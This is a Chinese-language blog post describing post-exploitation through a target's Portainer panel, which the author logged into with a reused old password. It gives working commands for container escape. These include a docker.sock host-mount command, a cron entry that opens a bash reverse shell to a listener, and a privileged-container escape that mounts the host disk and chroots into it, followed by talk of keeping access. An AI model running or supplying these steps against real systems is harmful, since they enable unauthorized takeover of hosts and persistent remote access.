Portainer后渗透
前言
在一个平平安安的下午,拿到个普普通通的命令执行反弹来
shell

看到有
.dockerenv文件,就知道要开始逃逸了个人习惯首先找
docker.sock文件

找到后开始常规的
docker.sock挂载逃逸
docker -H unix:///run/docker.sock run -v /:/test -it ubuntu:latest /bin/bash拉取镜像报错,应该是docker官方镜像仓库被墙的原因,报错如下
Get "https://registry-1.docker.io/v2/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)个人想到的解决方法是更换没有被墙的镜像仓库然后再挂载进行逃逸
但是宿主机无法进行操作没办法进行更换镜像仓
再或者手动上传docker镜像文件
然后就来到这次的主题了
Portainer 的后渗透
在前期的信息收集找了该目标的
祖传密码登陆到了Portainer面板

更换镜像源
根据之前的思路首先更换镜像仓库源

Name就随便写Registry URL就在网上找的镜像源


新建容器

下拉切换新建的镜像源

拉去配置容器

配置控制台

配置挂载文件,这个很重要

配置
宿主机的目录,配置docker.sock


找到新建的容器

检查下挂载

进入容器进行操作



逃逸
既然能操作宿主机那么接下来的思路就是:找web路径写webshell、写ssh私钥、定时任务反弹shell


没
.ssh和web路径直接写定时任务
echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root
在服务器进行监听等待

方案二(特权容器)
在新建容器时选择创建特权容器
privileged在容器内执行下面命令
cat /proc/self/status | grep CapEffCapEff对应的掩码值应该为0000003fffffffff或者是0000001fffffffff执行
fdisk -l获得宿主机分区,进行挂载
mkdir /test && mount /dev/dm-0 /testchroot /test/后续拿权限就跟上面一样了
结束
逃逸结束后就可以对服务器进行维权等操作
这个可能不是唯一的思路,我只想到了这个思路
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 putdown.top